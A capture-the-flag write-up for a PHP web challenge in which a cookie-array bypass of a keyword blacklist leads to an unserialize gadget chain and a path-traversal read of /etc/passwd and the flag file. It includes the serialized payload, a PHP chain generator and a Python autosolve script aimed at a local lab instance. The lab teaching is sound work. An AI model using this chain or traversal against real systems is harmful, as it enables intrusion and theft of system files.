[EN] Midnight Flag 2026 - Clash Of Flans (Web)

Description

This is a Web challenge built in PHP, the source code is provided.

TL;DR

Type juggling in cookies -> PHP deserialization -> File read using /proc/self/task/XX/root/ to get the flag

Discovering the app

The application features “flan battles” where users can enter a Baker name and then assemble their team. Upon starting a fight, one of the player’s flans is randomly selected to face off against an opponent.

/clashofflans/web.png

And there isn’t much more we can do directly from the web application. However, by inspecting the request through a proxy, we notice that we control 3 parameters:

  • The baker_name and flan_name from our inputs
  • Flash messages from GET parameters -> We don’t care about XSS
  • The cookie “flans” which stores our flans as a serialized array

Even though the first inputs could be interesting for some kind of injection, the cookie looks far more promising. Moreover, we have access to the source code, which allows us to confirm our hypothesis.

Source code analysis

The source code contains 3 classes and 2 files:

  • Baker.php -> defines the Baker object, which represents and loads the player instance
  • Clash.php -> defines the Clash object, responsible for handling fights and match history
  • Flan.php -> defines the Flan object
  • functions.php -> contains helper functions used across the application
  • index.php -> implements the main application logic

The main thing to notice here is how the player object is created. First of all the Baker::load() function is called several times to either create a new Baker or load an existing one from the flans cookie:

public static function load($bakerName)
    {
        $baker = new Baker($bakerName);
        if (getCookie("flans")) {
            $data = unserialize(getCookie("flans"));

            if ($data !== false && is_array($data)) {
                $baker->flans = $data['flans'] ?? [];
            }
        }
        return $baker;
    }

We clearly see that the unserialize() function is called on the “flans” cookie, we will have to exploit this! Taking a look at the “baker_name” and “flan_name” inputs we see that they are not processed in any way by the server, only used as strings to name the objects.

Type juggling

Browsing index.php, we see that $_COOKIE["flans"] is verified by the is_bad() function before reaching Baker::load().

if (is_bad($_COOKIE["flans"])) {
    die("No cooking here!");
}

This function does the following check:

function is_bad($param)
{
    $blacklist = array(
        'Clash',
        'Baker'
    );

    foreach ($blacklist as $word) {
        if (strpos($param, $word) != false) {
            return true;
        }
    }
    return false;
}

Since we need to craft a PHP Object Injection payload using these classes, we first have to bypass this filter. The is_bad() function is called directly on $_COOKIE, but the variable passed to unserialize() comes from getCookie(), which uses flatten() to flatten the array:

function flatten($param)
{
    if (is_array($param)) {
        return implode(",", $param);
    } else {
        return $param;
    }
}

function getCookie($name)
{
    $value = null;
    if (isset($_COOKIE[$name])) {
        $value = $_COOKIE[$name];
    }
    return flatten($value);
}

Therefore if we set the cookie as an Array, is_bad() will throw a warning but execution will continue. Meanwhile, the value passed to unserialize() will be flattened, ultimately allowing our objects to be included in the payload.

The final cookie will look like this: Cookie: flans[]=SERIALIZED_PAYLOAD.

Object Injection

The gadget chain is quite trivial since the app contains only 3 classes, and the path to follow is pretty straightforward.

The first thing to search for in a deserialization challenge is magic methods like __wakeup() or __destruct(), called on the object we will supply in the cookie.

We are very lucky, the Flan class contains the following:

public function __destruct()
    {
        echo "<!--Flan {$this->name} may be out of date.-->\n";
    }

This will be our entrypoint. Since we are inserting $this->name into a string, it will be cast to a string, triggering the __toString() method of the object stored in the “name” attribute.

Another coincidence, the Clash object implements this method, which calls getSummary():

public function __toString()
    {
        return $this->getSummary();
    }

public function getSummary()
    {
        $side = getParam("side");
        $side = $side ? $this->flan1->$side : "red";
        return "Clash: {$this->flan1->getName()} ({$side} side) vs {$this->flan2->getName()} | Winner: {$this->winnerName} | Details: {$this->resultDetails}";
    }

The subtlety of this challenge lies in the fact that the unserialized payload must interact with the GET/POST parameters retrieved via the getParam() function.

getSummary() uses a Request parameter “side” to call this attribute of $this->flan1. This triggers the magic method __get(), implemented by the Baker class:

public function __get($name)
    {
        if (getParam("args")) {
            $args = explode(",", getParam("args"));
        }
        return call_user_func_array(array($this, "get" . $name), $args);
    }

public function __call($name, $arguments)
    {
        if (method_exists($this, $name)) {
            return call_user_func_array([$this, $name], $arguments);
        } else {
            return null;
        }
    }

In turn, __get() triggers __call() to retrieve the attribute’s value by invoking a class method starting with “get”. This allows us to call any method in the Baker class that follows the get[Value]() pattern, where Value is the string passed via the side Request parameter. Furthermore, any arguments for this method are supplied through the args Request parameter.

A working serialized payload is O:4:"Flan":1:{s:4:"name";O:5:"Clash":2:{s:5:"flan1";O:5:"Baker":0:{}s:5:"flan2";O:5:"Baker":0:{}}}.

File read

A method that matches this syntax is getClashSummaryByUuid():

public static function getClashSummaryByUuid($uuid)
    {
        global $CLASH_DIR;

        $file = joinpath($CLASH_DIR . '/' . $uuid . '.cof');
        $file = substr($file, 0, 100); // Should be enough
        if (file_exists($file)) {
            return file_get_contents($file);
        }
        return null;
    }

Looks like we have a file read here!

Legitimately, the function retrieves match history stored as .cof files within the $CLASH_DIR directory. The joinpath() function is used to “normalize” the path by removing redundant slashes and resolving directory traversals (e.g., ../anything/../ becomes ../). Since we control the $uuid value from the args Request parameter, we can bypass the 100-character truncation by injecting a payload such as '../' * 30 + 'FILE_TO_READ'.

The following request allows us to read /etc/passwd to confirm our serialized payload is working, with parameters side=ClashSummaryByUuid&args=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd:

/clashofflans/etcpasswd.png

We know from the Dockerfile that the flag is located at /flag.txt. However, when attempting to read it using the same method as /etc/passwd, we are constrained by the truncated payload size.

Therefore we have to find a technique to access the flag indirectly, to circumvent this limitation. The expected way to do this is with /proc/self/task/18/root/flag.txt, where 18 is the PID of the apache worker (It may be necesary to change/bruteforce the “18” if the environment is modified).

Flag

We finally access the flag: MCTF{7hr33-ch4rs_pr0bl3m}

Hope you liked it :)

Scripts

PHP Gadget Chain:

<?php

class Baker {
    public function __construct() {}
}

class Clash
{
    public $flan1;
    public $flan2;
    public function __construct($flan1, $flan2)
    {
        $this->flan1 = $flan1;
        $this->flan2 = $flan2;
    }

}

class Flan
{
    public $name;
    public function __construct($name)
    {
        $this->name = $name;
    }

}

$pop = new Flan(new Clash(new Baker(), new Baker()));;
echo serialize($pop) . PHP_EOL;

Script autosolve:

import requests

URL = "http://localhost:1337"

s = requests.Session()

# Register
s.post(f"{URL}/", data={"baker_name": "Solver"})
s.cookies.pop("flans")

# Trigger popchain
popchain = '%4f%3a%34%3a%22%46%6c%61%6e%22%3a%31%3a%7b%73%3a%34%3a%22%6e%61%6d%65%22%3b%4f%3a%35%3a%22%43%6c%61%73%68%22%3a%32%3a%7b%73%3a%35%3a%22%66%6c%61%6e%31%22%3b%4f%3a%35%3a%22%42%61%6b%65%72%22%3a%30%3a%7b%7d%73%3a%35%3a%22%66%6c%61%6e%32%22%3b%4f%3a%35%3a%22%42%61%6b%65%72%22%3a%30%3a%7b%7d%7d%7d'

# Change task ID may be necessary
params = {
    "side": "ClashSummaryByUuid",
    "args": "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/task/18/root/flag.txt"
}

cookies = {
    "flans[]" : f"{popchain}"
}

r = s.get(f"{URL}/", params=params, cookies=cookies)

while "MCTF" not in r.text:
    r = s.get(f"{URL}/", params=params, cookies=cookies)

print(r.text)